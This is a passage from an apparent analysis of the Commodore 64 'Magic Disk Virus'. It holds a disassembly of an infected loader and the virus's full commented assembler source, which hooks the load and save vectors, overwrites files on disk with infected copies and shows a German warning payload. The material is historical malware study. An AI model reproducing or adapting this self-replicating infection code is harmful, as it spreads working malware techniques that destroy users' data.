.C:090a   C8         INY
.C:090b   D0 F7      BNE $0904

.C:090d   A2 0F      LDX #$0F
.C:090f   20 50 F2   JSR $F250
.C:0912   4C 38 09   JMP $0938
```

```
.C:0915   20 BA 08   JSR $08BA
.C:0918   A2 0F      LDX #$0F
.C:091a   20 50 F2   JSR $F250
.C:091d   A9 31      LDA #$31
.C:091f   8D D2 08   STA $08D2
.C:0922   20 38 09   JSR $0938
.C:0925   A2 08      LDX #$08
.C:0927   20 0E F2   JSR $F20E
.C:092a   A0 00      LDY #$00
.C:092c   20 57 F1   JSR $F157
.C:092f   99 00 CF   STA $CF00,Y
.C:0932   C8         INY
.C:0933   D0 F7      BNE $092C
.C:0935   4C 33 F3   JMP $F333

.C:0938   A9 D1      LDA #$D1
.C:093a   A0 08      LDY #$08
.C:093c   20 1E AB   JSR $AB1E
.C:093f   A9 00      LDA #$00
.C:0941   A6 FE      LDX $FE
.C:0943   20 CD BD   JSR $BDCD
.C:0946   A9 2C      LDA #$2C
.C:0948   20 CA F1   JSR $F1CA
.C:094b   A9 00      LDA #$00
.C:094d   A6 FD      LDX $FD
.C:094f   20 CD BD   JSR $BDCD
.C:0952   4C B5 AB   JMP $ABB5

.C:0955   A5 05      LDA $05
.C:0957   8D 00 CE   STA $CE00
.C:095a   E8         INX
.C:095b   8E 02 CE   STX $CE02
.C:095e   A9 08      LDA #$08
.C:0960   8D 03 CE   STA $CE03
.C:0963   4C AA 08   JMP $08AA
.C:0966   A8         TAY
.C:0967   B9 00 08   LDA $0800,Y
.C:096a   99 00 CD   STA $CD00,Y
.C:096d   C8         INY
.C:096e   D0 F7      BNE $0967

.C:0970   A9 CE      LDA #$CE
.C:0972   8D 86 02   STA $0286
.C:0975   8D 31 03   STA $0331
.C:0978   A9 8F      LDA #$8F
.C:097a   8D 30 03   STA $0330
.C:097d   A9 14      LDA #$14
.C:097f   8D 18 D0   STA $D018
.C:0982   A9 0F      LDA #$0F
.C:0984   20 91 F2   JSR $F291
.C:0987   4C 94 E3   JMP $E394
```

```
.C:098a   A2 00      LDX #$00
.C:098c   BD 00 CD   LDA $CD00,X
.C:098f   9D 00 08   STA $0800,X
.C:0992   BD 00 CE   LDA $CE00,X
.C:0995   9D FB 08   STA $08FB,X
.C:0998   E8         INX
.C:0999   D0 F1      BNE $098C

.C:099b   A9 60      LDA #$60
.C:099d   8D 40 08   STA $0840
.C:09a0   20 0D 08   JSR $080D
.C:09a3   A9 AE      LDA #$AE
.C:09a5   8D 40 08   STA $0840
.C:09a8   AE 15 CF   LDX $CF15
.C:09ab   D0 C3      BNE $0970

.C:09ad   BD F8 CE   LDA $CEF8,X
.C:09b0   9D 16 CF   STA $CF16,X
.C:09b3   E8         INX
.C:09b4   E0 08      CPX #$08
.C:09b6   D0 F5      BNE $09AD
.C:09b8   18         CLC
.C:09b9   A9 20      LDA #$20
.C:09bb   6D B3 CE   ADC $CEB3
.C:09be   8D B3 CE   STA $CEB3
.C:09c1   C9 16      CMP #$16
.C:09c3   D0 E6      BNE $09AB
.C:09c5   6C AB CE   JMP ($CEAB)

.C:09c8   AD 12 D0   LDA $D012
.C:09cb   C9 F0      CMP #$F0
.C:09cd   10 03      BPL $09D2
.C:09cf   4C 9B 08   JMP $089B
.C:09d2   A9 AE      LDA #$AE
.C:09d4   A2 A7      LDX #$A7
.C:09d6   8D F3 08   STA $08F3
.C:09d9   8E F4 08   STX $08F4
.C:09dc   6C A1 09   JMP ($09A1)

.C:09df   00         BRK
.C:09e0   00         BRK
.C:09e1   00         BRK
.C:09e2   00         BRK
.C:09e3   00         BRK
.C:09e4   00         BRK
.C:09e5   00         BRK
.C:09e6   00         BRK
.C:09e7   00         BRK
.C:09e8   00         BRK
.C:09e9   00         BRK
.C:09ea   00         BRK
```

```
.C:09eb   00         BRK
.C:09ec   00         BRK
.C:09ed   00         BRK
.C:09ee   00         BRK
.C:09ef   00         BRK
.C:09f0   00         BRK
.C:09f1   00         BRK
.C:09f2   00         BRK

09f3 .byte "S","T","A","R","F","I","R","E"

(infected program follows here)
```

Analysis: Magic Disk Virus

This analysis is from the original (?) sourcecode i found on the disk with the virus, with some more comments and formatting added.

```
.ba $cbaf

.eq status=$90
.eq savecont=$f624
.eq filelo=$bb
.eq filehi=$bc
.eq fileleng=$b7
.eq setpar=$ffba
.eq setnam=$ffbd
.eq open=$ffc0
.eq close=$ffc3
.eq savecbm=$ffd8
.eq strout=$ab1e
.eq bsout=$ffd2

.eq sid=54272
.eq crsrflag=204
.eq crsrline=214
.eq vic=$d000

.eq frqlo=data-1
.eq frqhi=data-2
.eq countlo=data-3
.eq counthi=data-4
.eq counter=data-5
.eq lengnam=data-6
.eq realend=ende-data+$0801

;******************************
; basic stub

data      .by $15,$08,$0a,$00,$9e
```

```
.tx "2071:md-virus!"
.by 0,0,0

;*******************************
; copy virus code to $cff0

copyup    lda #$37
          sta $01
          ldx #$01
          ldy #$08
          stx $5f
          sty $60
          ldx #<(realend)
          ldy #>(realend)
          stx $5a
          sty $5b
          ldx #$f0
          ldy #$cf
          stx $58
          sty $59
          jsr $a3bf
          jmp start

;*******************************
; copy infected program to $0801
; init virus and run program

start     lda #$36
          sta $01

          ldx #01
          ldy #08
          stx lab5+1
          sty lab5+2
          ldx #<(realend)
          ldy #>(realend)
          stx $fb
          sty $fc
          ldx $ae
          ldy $af
          stx $f9
          sty $fa

          ldy #00
          ldx #00
loop8     lda ($fb),y
lab5      sta $0801,x
          inx
          bne lab4
          inc lab5+2
lab4      jsr inccount
```

```
          bcc loop8

          ldy lab5+2
          stx $ae
          sty $af
          stx $2d
          sty $2e

          lda #$37
          sta $01

          jsr init
          jsr $a659
          jmp $a7ae

;*********************************
; code hooked into cbm80 nmi vector

restore   jsr $fd15
          jsr $fda3
          jsr $e518
          jsr init2
          jmp ($a002)

;*********************************

save1     jmp save

;*********************************
; code hooked into cbm80 reset vector

reset     stx $d016
          jsr $fda3
          jsr $fd50
          jsr $fd15
          jsr $ff5b
          cli
          jsr init2
          jmp ($a000)

;*********************************
; code hooked into load vector

load      pha
          lda filelo
          sta $fb
          lda filehi
          sta $fc
          ldy fileleng
          sty lengnam
loop2     lda ($fb),y
```

```
          sta namebuff+2,y
          dey
          bpl loop2
          pla

          sta $93
          lda #$00
          sta $90
          lda $ba
          bne xf4b2
xf4af     jmp $f713
xf4b2     cmp #$03
          beq xf4af
          bcc xf533

          ldy $b7
          bne xf4bf
          jmp $f710
xf4bf     ldx $b9
          jsr $f5af
          lda #$60
          sta $b9
          jsr $f3d5
          lda $ba
          jsr $ed09
          lda $b9
          jsr $edc7
          jsr $ee13
          sta $ae

          cmp #01
          bne cbmload1

          lda $90
          lsr
          lsr
          bcs loaderror
          jsr $ee13
          sta $af

          cmp #08
          bne cbmload2
          jsr $f4e5
          bcc inftest
          rts
;*******************************
loaderror jmp $f704
xf533     jmp $f533
cbmload1  jmp $f4da
cbmload2  jmp $f4e5
;*******************************
```

```
inftest   ldy #17
loop7     lda $0801,y
          cmp data,y
          bne scratch
          dey
          bpl loop7
          jmp ($a002)

scratch   lda #01
          ldx #08
          ldy #15
          jsr setpar
          lda lengnam
          clc
          adc #02
          ldx #<(namebuff)
          ldy #>(namebuff)
          jsr setnam
          jsr open
          lda #01
          jsr close

          ldy lengnam
          lda namebuff+1,y
          cmp #"*"
          bne cont
          dey

cont      tya
          ldx #<(namebuff)+2
          ldy #>(namebuff)
          jsr setnam
          ldx #08
          jsr setpar
          ldx #01
          ldy #08
          stx $c1
          sty $c2
          ldx #00
          jsr save
          jmp saveerror

;*********************************
; hook i/o vectors and install
; cbm80 hook

init      lda #01
          sta copy
init2     ldy #03
loop3     lda tab,y
          sta $0330,y
```

```
          dey
          bpl loop3

          ldy #08
loop4     lda cbm,y
          sta $8000,y
          dey
          bpl loop4

          rts

;*********************************
xf659     jmp $f659
copy      .by 0
;*********************************
saveerror lda status
          bne shit
          rts
shit      lda #<(errortext)
          ldy #>(errortext)
          jmp strout

;*********************************
; code hooked into save vector

save      lda $ba
          bne xf5f4
xf5f1     jmp $f713
xf5f4     cmp #$03
          beq xf5f1
          bcc xf659

          lda #$61
          sta $b9
          ldy $b7
          bne xf605
          jmp $f710
xf605     cpx #00
          beq nosaving
          jsr $f68f
nosaving  jsr $f3d5
          lda $ba
          jsr $ed0c
          lda $b9
          jsr $edb9
          ldy #$00
          jsr $fb8e
          lda $ac
          cmp #01
          beq lab1
          ldy #01
```

```
lab1      jsr $eddd
          lda $ad
          cmp #08
          beq lab2
          ldy #01
lab2      jsr $eddd

          cpy #01
          bne virusok
          ldy #00
          jmp savecont

virusok   lda #<(data)
          sta $fb
          lda #>(data)
          sta $fc
          lda #<(ende)
          sta $f9
          lda #>(ende)
          sta $fa

          ldy #00
loop      lda ($fb),y
          jsr $eddd
          jsr inccount
          bcc loop

          jsr savecont
          jsr saveerror

          asl copy
          bcs gag
          rts

;*******************************
; payload code

gag       ldx #00
          stx crsrflag
          stx $d020
          stx $d021
          stx countlo
          inx
          stx 646
          stx vic+21
;  {$a0}
          lda #12
          sta vic+39
          lda #24
          sta vic
          lda #27
```

```
          sta vic+1
          lda #13
          sta 2040

          ldy #12
          lda #00
sloop4    sta 832,y
          dey
          bpl sloop4

          ldy #50
sloop3    lda sprdat,y
          sta 845,y
          dey
          bpl sloop3

          lda #13
          jsr bsout
          lda #32
          jsr bsout
;*********************************
calc      lda crsrline
          clc
          adc #03
          lsr
          ror countlo
          clc
          adc #$60
          sta counthi
;*********************************
sound     lda #15
          sta sid+24
          sta counter
          ldx #01
          ldy #$78
          stx sid
          sty sid+1
          stx frqlo
          sty frqhi
          ldx #$e0
          ldy #$f0
          stx sid+5
          sty sid+6
          lda #33
          sta sid+4

sloop2    ldy #01
          jsr wait
          dec frqlo
          bne sl1
          dec frqhi
```

```
sl1       lda counthi
          cmp frqhi
          bcc sl5
          bne sl6
          lda countlo
          cmp frqlo
          bcc sl5
sl6       dec counter
          bpl sl5
          inc vic+1
          lda #15
          sta counter

sl5       lda frqhi
          cmp #$60
          beq bye
          sta sid+1
          lda frqlo
          sta sid
          jmp sloop2

bye       sty sid+4
          sty sid+24
          lda #"{CBM-P}"
          jsr bsout
          sta crsrflag
          ldy #$ff
          jsr wait
          sty vic+21
          lda #<(warning)
          ldy #>(warning)
          jsr strout
          jmp init
;*********************************
wait      ldx #00
sloop1    dex
          bne sloop1
          dey
          bne sloop1
          rts
;*********************************
inccount  inc $fb
          bne lab3
          inc $fc
lab3      lda $fb
          cmp $f9
          bne weiter
          lda $fc
          cmp $fa
          bne weiter
          sec
```

```
          rts

weiter    clc
          rts
;*******************************
sprdat    .by 124,0,0,198,0,0,198,0,0,108,0,31,255,248
.by 31,177,248,31,183,248,63,177,252,63,181,252,63,177,252,63,255,252,113
.by 22,142,123,82,190,123,84,142,251,84,239,251,22,143,255,255,255,255

;*******************************
; data for cbm80 hook
cbm       .wo reset,restore
          .tx "CBM80"

; vectors for i/o hooks
tab       .wo load,save

errortext .by 13
.tx "Der {rvon}MagicDisk-Virus{rvof} ist in diesem"
.by13
.tx "C64 !!! Soeben wurden Daten zerstoert !"
.by13
.tx "Bitte Programm auf einer anderen Disk"
.by13
.tx "abspeichern !!!"
.by 13,14,0

;*******************************
warning   .by 13
.tx "Hallo du ! Dein 64er lebt ! Ein paar von"
.by13
.tx "deinen Disketten wurden infiziert mit"
.by13
.tx"dem {rvon}MagicDisk-Virus{rvof}..."
.by 13,14,0

;*******************************
namebuff  .tx "s:"
ende      .by 0
```